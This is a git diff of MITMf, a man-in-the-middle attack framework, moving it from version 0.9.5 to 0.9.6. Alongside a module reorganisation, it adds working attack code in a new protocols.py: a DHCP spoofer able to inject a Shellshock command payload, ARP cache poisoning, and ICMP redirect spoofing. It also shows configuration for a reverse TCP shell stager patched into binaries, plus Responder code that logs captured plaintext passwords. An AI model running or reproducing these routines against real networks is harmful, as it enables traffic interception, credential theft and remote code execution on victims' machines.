diff --git a/README.md b/README.md index 8466e2b..d7f7e73 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -MITMf V0.9.5 +MITMf V0.9.6 ============ Framework for Man-In-The-Middle attacks diff --git a/config/mitmf.cfg b/config/mitmf.cfg index 86e3642..fe81a8c 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.cfg @@ -31,7 +31,7 @@ [[DNS]] www.facebook.com = 192.168.10.1 - google.com = 192.168.10.1 + google.com = 192.168.20.61 [Responder] @@ -327,7 +327,7 @@ [[[[WindowsIntelx86]]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND HOST = 192.168.1.16 - PORT = 8443 + PORT = 4444 SHELL = reverse_tcp_stager SUPPLIED_SHELLCODE = None ZERO_CERT = False diff --git a/libs/sergioproxy/__init__.py b/core/__init__.py similarity index 100% rename from libs/sergioproxy/__init__.py rename to core/__init__.py diff --git a/libs/beefapi.py b/core/beefapi.py similarity index 100% rename from libs/beefapi.py rename to core/beefapi.py diff --git a/libs/msfrpc.py b/core/msfrpc.py similarity index 100% rename from libs/msfrpc.py rename to core/msfrpc.py diff --git a/libs/sslstrip/__init__.py b/core/publicsuffix/__init__.py similarity index 100% rename from libs/sslstrip/__init__.py rename to core/publicsuffix/__init__.py diff --git a/libs/publicsuffix.py b/core/publicsuffix/publicsuffix.py similarity index 100% rename from libs/publicsuffix.py rename to core/publicsuffix/publicsuffix.py diff --git a/libs/publicsuffix.txt b/core/publicsuffix/publicsuffix.txt similarity index 100% rename from libs/publicsuffix.txt rename to core/publicsuffix/publicsuffix.txt diff --git a/libs/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py similarity index 97% rename from libs/sergioproxy/ProxyPlugins.py rename to core/sergioproxy/ProxyPlugins.py index 4de9f99..dea21f4 100644 --- a/libs/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2011 Ben Schmidt +# Copyright (c) 2010-2011 Ben Schmidt, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as @@ -39,6 +39,13 @@ class ProxyPlugins: ''' _instance = None + @staticmethod + def getInstance(): + if ProxyPlugins._instance == None: + ProxyPlugins._instance = ProxyPlugins() + + return ProxyPlugins._instance + def setPlugins(self,plugins): '''Set the plugins in use''' self.plist = [] @@ -90,11 +97,3 @@ class ProxyPlugins: #pass our changes to the locals back down return args - - def getInstance(): - if ProxyPlugins._instance == None: - ProxyPlugins._instance = ProxyPlugins() - - return ProxyPlugins._instance - - getInstance = staticmethod(getInstance) diff --git a/libs/sergioproxy/README.md b/core/sergioproxy/README.md similarity index 100% rename from libs/sergioproxy/README.md rename to core/sergioproxy/README.md diff --git a/core/sergioproxy/__init__.py b/core/sergioproxy/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/sslstrip/COPYING.sslstrip b/core/sslstrip/COPYING.sslstrip similarity index 100% rename from libs/sslstrip/COPYING.sslstrip rename to core/sslstrip/COPYING.sslstrip diff --git a/libs/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py similarity index 99% rename from libs/sslstrip/ClientRequest.py rename to core/sslstrip/ClientRequest.py index c16db60..08fb452 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -33,7 +33,7 @@ from SSLServerConnection import SSLServerConnection from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -from libs.sergioproxy.ProxyPlugins import ProxyPlugins +from core.sergioproxy.ProxyPlugins import ProxyPlugins from configobj import ConfigObj class ClientRequest(Request): @@ -57,7 +57,7 @@ class ClientRequest(Request): def cleanHeaders(self): headers = self.getAllHeaders().copy() - #for k,v in headers.items(): + #for k,v in headers.iteritems(): # logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) if 'accept-encoding' in headers: diff --git a/libs/sslstrip/CookieCleaner.py b/core/sslstrip/CookieCleaner.py similarity index 98% rename from libs/sslstrip/CookieCleaner.py rename to core/sslstrip/CookieCleaner.py index 997041a..5ba393c 100644 --- a/libs/sslstrip/CookieCleaner.py +++ b/core/sslstrip/CookieCleaner.py @@ -42,18 +42,17 @@ class CookieCleaner: _instance = None + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + @staticmethod def getInstance(): if CookieCleaner._instance == None: CookieCleaner._instance = CookieCleaner() return CookieCleaner._instance - getInstance = staticmethod(getInstance) - - def __init__(self): - self.cleanedCookies = set(); - self.enabled = False - def setEnabled(self, enabled): self.enabled = enabled diff --git a/libs/sslstrip/DnsCache.py b/core/sslstrip/DnsCache.py similarity index 97% rename from libs/sslstrip/DnsCache.py rename to core/sslstrip/DnsCache.py index 906a6e5..6f4e678 100644 --- a/libs/sslstrip/DnsCache.py +++ b/core/sslstrip/DnsCache.py @@ -30,6 +30,13 @@ class DnsCache: self.customAddress = None self.cache = {} + @staticmethod + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + def cacheResolution(self, host, address): self.cache[host] = address @@ -39,12 +46,6 @@ class DnsCache: return None - def getInstance(): - if DnsCache._instance == None: - DnsCache._instance = DnsCache() - - return DnsCache._instance - def setCustomRes(self, host, ip_address=None): if ip_address is not None: self.cache[host] = ip_address @@ -55,5 +56,3 @@ class DnsCache: def setCustomAddress(self, ip_address): self.customAddress = ip_address - - getInstance = staticmethod(getInstance) diff --git a/libs/sslstrip/README.md b/core/sslstrip/README.md similarity index 100% rename from libs/sslstrip/README.md rename to core/sslstrip/README.md diff --git a/libs/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py similarity index 100% rename from libs/sslstrip/SSLServerConnection.py rename to core/sslstrip/SSLServerConnection.py diff --git a/libs/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py similarity index 98% rename from libs/sslstrip/ServerConnection.py rename to core/sslstrip/ServerConnection.py index 8110256..c76e73c 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -26,7 +26,7 @@ except: from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -from libs.sergioproxy.ProxyPlugins import ProxyPlugins +from core.sergioproxy.ProxyPlugins import ProxyPlugins class ServerConnection(HTTPClient): @@ -80,7 +80,7 @@ class ServerConnection(HTTPClient): self.sendCommand(self.command, self.uri) def sendHeaders(self): - for header, value in self.headers.items(): + for header, value in self.headers.iteritems(): logging.debug("Sending header: (%s => %s)" % (header, value)) self.sendHeader(header, value) diff --git a/libs/sslstrip/ServerConnectionFactory.py b/core/sslstrip/ServerConnectionFactory.py similarity index 100% rename from libs/sslstrip/ServerConnectionFactory.py rename to core/sslstrip/ServerConnectionFactory.py diff --git a/libs/sslstrip/StrippingProxy.py b/core/sslstrip/StrippingProxy.py similarity index 100% rename from libs/sslstrip/StrippingProxy.py rename to core/sslstrip/StrippingProxy.py diff --git a/libs/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py similarity index 97% rename from libs/sslstrip/URLMonitor.py rename to core/sslstrip/URLMonitor.py index 969db04..7f53ef0 100644 --- a/libs/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -43,7 +43,14 @@ class URLMonitor: self.redirects = [] self.faviconReplacement = False self.hsts = False - self.hsts_config = None + self.hsts_config = None + + @staticmethod + def getInstance(): + if URLMonitor._instance == None: + URLMonitor._instance = URLMonitor() + + return URLMonitor._instance def isSecureLink(self, client, url): for expression in URLMonitor.javascriptTrickery: @@ -127,7 +134,7 @@ class URLMonitor: self.hsts = True self.hsts_config = hstsconfig - for k,v in self.hsts_config.items(): + for k,v in self.hsts_config.iteritems(): self.sustitucion[k] = v self.real[v] = k @@ -154,11 +161,3 @@ class URLMonitor: else: logging.debug("[URLMonitor][HSTS]New host: %s"%host) return (host, False) - - def getInstance(): - if URLMonitor._instance == None: - URLMonitor._instance = URLMonitor() - - return URLMonitor._instance - - getInstance = staticmethod(getInstance) diff --git a/core/sslstrip/__init__.py b/core/sslstrip/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/banners.py b/core/utils.py similarity index 82% rename from libs/banners.py rename to core/utils.py index 323624f..784a98c 100644 --- a/libs/banners.py +++ b/core/utils.py @@ -19,9 +19,34 @@ # USA # +import os import random -banner1 = """ +class SystemConfig: + + @staticmethod + def setIpForwarding(value): + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() + + class iptables: + + @staticmethod + def Flush(): + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') + + @staticmethod + def HTTP(http_redir_port): + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port) + + @staticmethod + def DNS(queue_number): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number) + +class Banners: + + banner1 = """ __ __ ___ .--. __ __ ___ | |/ `.' `. |__| | |/ `.' `. _.._ | .-. .-. '.--. .| | .-. .-. ' .' .._| @@ -35,7 +60,7 @@ banner1 = """ `'-' |_| """ -banner2= """ + banner2= """ ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ ▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ ▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ @@ -47,7 +72,7 @@ banner2= """ ░ ░ ░ """ -banner3 = """ + banner3 = """ ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ @@ -58,7 +83,7 @@ banner3 = """ ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ """ -banner4 = """ + banner4 = """ ___ ___ ___ /\ \ /\ \ /\__\ |::\ \ ___ ___ |::\ \ /:/ _/_ @@ -72,6 +97,7 @@ banner4 = """ \/__/ \/__/ \/__/ \/__/ \/__/ """ -def get_banner(): - banners = [banner1, banner2, banner3, banner4] - return random.choice(banners) + @property + def printBanner(self): + banners = [self.banner1, self.banner2, self.banner3, self.banner4] + print random.choice(banners) \ No newline at end of file diff --git a/core/wrappers/__init__.py b/core/wrappers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/wrappers/nfqueue.py b/core/wrappers/nfqueue.py new file mode 100644 index 0000000..3eb1cd8 --- /dev/null +++ b/core/wrappers/nfqueue.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import threading + +from netfilterqueue import NetfilterQueue + +class Nfqueue(): + + def __init__(self, queue_number): + self.queue_number = queue_number + self.nfqueue = NetfilterQueue() + + def start(self): + t = threading.Thread(name='nfqueue', target=self.bind, args=()) + t.setDaemon(True) + t.start() + + def bind(self): + self.nfqueue.bind(self.queue_number, self.callback) + self.nfqueue.run() + + def stop(self): + try: + self.nfqueue.unbind() + except: + pass + + def callback(self, payload): + payload.accept() diff --git a/core/wrappers/protocols.py b/core/wrappers/protocols.py new file mode 100644 index 0000000..bc2e338 --- /dev/null +++ b/core/wrappers/protocols.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import threading +import binascii +import random + +from base64 import b64decode +from urllib import unquote +from time import sleep + +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy +from scapy.all import * + +class _DHCP(): + + def __init__(self, interface, dhcpcfg, ip, mac): + self.interface = interface + self.ip_address = ip + self.mac_address = mac + self.shellshock = None + self.debug = False + self.dhcpcfg = dhcpcfg + self.rand_number = [] + self.dhcp_dic = {} + + def start(self): + t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) + t.setDaemon(True) + t.start() + + def dhcp_sniff(self, interface): + sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) + + def dhcp_rand_ip(self): + pool = self.dhcpcfg['ip_pool'].split('-') + trunc_ip = pool[0].split('.'); del(trunc_ip[3]) + max_range = int(pool[1]) + min_range = int(pool[0].split('.')[3]) + number_range = range(min_range, max_range) + for n in number_range: + if n in self.rand_number: + number_range.remove(n) + rand_number = random.choice(number_range) + self.rand_number.append(rand_number) + rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) + + return rand_ip + + def dhcp_callback(self, resp): + if resp.haslayer(DHCP): + xid = resp[BOOTP].xid + mac_addr = resp[Ether].src + raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + else: + client_ip = self.dhcp_rand_ip() + self.dhcp_dic[xid] = client_ip + + if resp[DHCP].options[0][1] is 1: + logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + logging.info("Sending DHCP OFFER") + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "offer"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240), + "end"])) + + try: + packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) + except KeyError: + pass + + sendp(packet, iface=self.interface, verbose=self.debug) + + if resp[DHCP].options[0][1] is 3: + logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "ack"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240)])) + + try: + packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) + except KeyError: + pass + + if self.shellshock: + logging.info("Sending DHCP ACK with shellshock payload") + packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) + packet[DHCP].options.append("end") + else: + logging.info("Sending DHCP ACK") + packet[DHCP].options.append("end") + + sendp(packet, iface=self.interface, verbose=self.debug) + +class _ARP(): + + def __init__(self, gateway, interface, mac): + + self.gateway = gateway + self.gatewaymac = getmacbyip(gateway) + self.mac = mac + self.target = None + self.targetmac = None + self.interface = interface + self.arpmode = 'req' + self.debug = False + self.send = True + self.arp_inter = 3 + + def start(self): + if self.gatewaymac is None: + sys.exit("[-] Error: Could not resolve gateway's MAC address") + + if self.target: + self.targetmac = getmacbyip(self.target) + if self.targetmac is None: + sys.exit("[-] Error: Could not resolve target's MAC address") + + if self.arpmode == 'req': + pkt = self.build_arp_req() + + elif self.arpmode == 'rep': + pkt = self.build_arp_rep() + + t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,)) + t.setDaemon(True) + t.start() + + def send_arps(self, pkt, interface, debug): + while self.send: + sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug) + + def stop(self): + self.send = False + sleep(3) + self.arp_inter = 1 + + if self.target: + print "\n[*] Re-ARPing target" + self.reARP_target(5) + + print "\n[*] Re-ARPing network" + self.reARP_net(5) + + def build_arp_req(self): + if self.target is None: + pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) + elif self.target: + pkt = Ether(src=self.mac, dst=self.targetmac)/\ + ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target) + + return pkt + + def build_arp_rep(self): + if self.target is None: + pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) + elif self.target: + pkt = Ether(src=self.mac, dst=self.targetmac)/\ + ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2) + + return pkt + + def reARP_net(self, count): + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ + ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2) + + sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) + + def reARP_target(self, count): + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ + ARP(psrc=self.target, hwsrc=self.targetmac, op=2) + + sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) + +class _ICMP(): + + def __init__(self, interface, target, gateway, ip_address): + + self.target = target + self.gateway = gateway + self.interface = interface + self.ip_address = ip_address + self.debug = False + self.send = True + self.icmp_interval = 2 + + def build_icmp(self): + pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\ + IP(src=self.target, dst=self.gateway)/UDP() + + return pkt + + def start(self): + pkt = self.build_icmp() + + t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,)) + t.setDaemon(True) + t.start() + + def stop(self): + self.send = False + sleep(3) + + def send_icmps(self, pkt, interface, debug): + while self.send: + sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index 5e178ff..2b6851f 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -16,13 +16,28 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys,struct,SocketServer,re,socket,thread,Fingerprint,random,os,BaseHTTPServer, select,urlparse,zlib, string, time -from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer +import sys +import struct +import SocketServer +import re +import socket +import thread +import Fingerprint +import random +import os +import BaseHTTPServer +import select +import urlparse +import zlib +import string +import time + +from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict from socket import inet_aton from random import randrange -from libs.sslstrip.DnsCache import DnsCache +from core.sslstrip.DnsCache import DnsCache def IsOsX(): Os_version = sys.platform @@ -1067,7 +1082,7 @@ def ParseClearTextSQLPass(Data,client): PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen]) UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le') if PrintData(outfile,UserName+":"+PwdStr): - logging.warning("MSSQL PlainText Password captured from :",client) + logging.warning("MSSQL PlainText Password captured from :",str(client)) logging.warning("MSSQL Username: %s Password: %s"%(UserName, PwdStr)) WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr) logging.warning('MSSQL PlainText Password captured from :%s'%(client)) @@ -1232,7 +1247,7 @@ class LLMNR(BaseRequestHandler): if RespondToIPScope(RespondTo, self.client_address[0]): if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - DnsCache.getInstance().setCustomRes(Name.lower()) + #DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) @@ -1254,7 +1269,7 @@ class LLMNR(BaseRequestHandler): if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - DnsCache.getInstance().setCustomRes(Name.lower()) + #DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) @@ -1277,7 +1292,7 @@ class LLMNR(BaseRequestHandler): if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - DnsCache.getInstance().setCustomRes(Name.lower()) + #DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): @@ -1297,7 +1312,7 @@ class LLMNR(BaseRequestHandler): pass if RespondToSpecificName(RespondToName) == False: buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - DnsCache.getInstance().setCustomRes(Name.lower()) + #DnsCache.getInstance().setCustomRes(Name.lower()) buff.calculate() Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) for x in range(1): diff --git a/mitmf.py b/mitmf.py index 4bf22f1..f8445d2 100755 --- a/mitmf.py +++ b/mitmf.py @@ -18,27 +18,24 @@ # USA # +import sys +import argparse +import os +import logging + from twisted.web import http from twisted.internet import reactor - -from libs.sslstrip.CookieCleaner import CookieCleaner -from libs.sergioproxy.ProxyPlugins import ProxyPlugins -from libs.banners import get_banner - -import logging +from core.sslstrip.CookieCleaner import CookieCleaner +from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.utils import Banners +from configobj import ConfigObj logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr, get_if_hwaddr -from configobj import ConfigObj - from plugins import * plugin_classes = plugin.Plugin.__subclasses__() -import sys -import argparse -import os - try: import netfilterqueue if netfilterqueue.VERSION[1] is not 6: @@ -52,12 +49,11 @@ try: except ImportError: print "[-] user_agents library missing! User-Agent parsing will be disabled!" -mitmf_version = "0.9.5" +mitmf_version = "0.9.6" sslstrip_version = "0.9" sergio_version = "0.2.1" -banner = get_banner() -print banner +Banners().printBanner parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add MITMf options @@ -66,6 +62,9 @@ mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default=" mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') +#added by alexander.georgiev@daloo.de +mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') + #add sslstrip options sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library") #sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).") @@ -177,8 +176,8 @@ if args.disproxy: ProxyPlugins.getInstance().setPlugins(load) else: - from libs.sslstrip.StrippingProxy import StrippingProxy - from libs.sslstrip.URLMonitor import URLMonitor + from core.sslstrip.StrippingProxy import StrippingProxy + from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(args.favicon) CookieCleaner.getInstance().setEnabled(args.killsessions) diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index a4cbdea..85b239e 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -1,14 +1,35 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + # 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz -from plugins.plugin import Plugin -from datetime import date -from libs.sslstrip.URLMonitor import URLMonitor import logging import re import os.path import time import sys +from plugins.plugin import Plugin +from datetime import date +from core.sslstrip.URLMonitor import URLMonitor + class AppCachePlugin(Plugin): name = "App Cache Poison" optname = "appoison" diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 4edea1b..aa60762 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -1,11 +1,32 @@ -from plugins.plugin import Plugin -from plugins.Inject import Inject -from time import sleep +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import logging import sys import json import threading -import libs.beefapi as beefapi +import core.beefapi as beefapi + +from plugins.plugin import Plugin +from plugins.Inject import Inject +from time import sleep requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message requests_log.setLevel(logging.WARNING) @@ -85,7 +106,7 @@ class BeefAutorun(Inject, Plugin): if len(self.All_modules) > 0: logging.info("%s >> sending generic modules" % session_ip) - for module, options in self.All_modules.items(): + for module, options in self.All_modules.iteritems(): mod_id = beef.module_id(module) resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': @@ -103,7 +124,7 @@ class BeefAutorun(Inject, Plugin): if browser == hook_browser: modules = self.Targeted_modules[os][browser] if len(modules) > 0: - for module, options in modules.items(): + for module, options in modules.iteritems(): mod_id = beef.module_id(module) resp = beef.module_run(session, mod_id, json.loads(options)) if resp["success"] == 'true': diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 5372353..3777009 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from plugins.plugin import Plugin from plugins.Inject import Inject from pprint import pformat diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index 6824ee5..8776df8 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + from plugins.plugin import Plugin diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 630a314..e95ea8b 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free 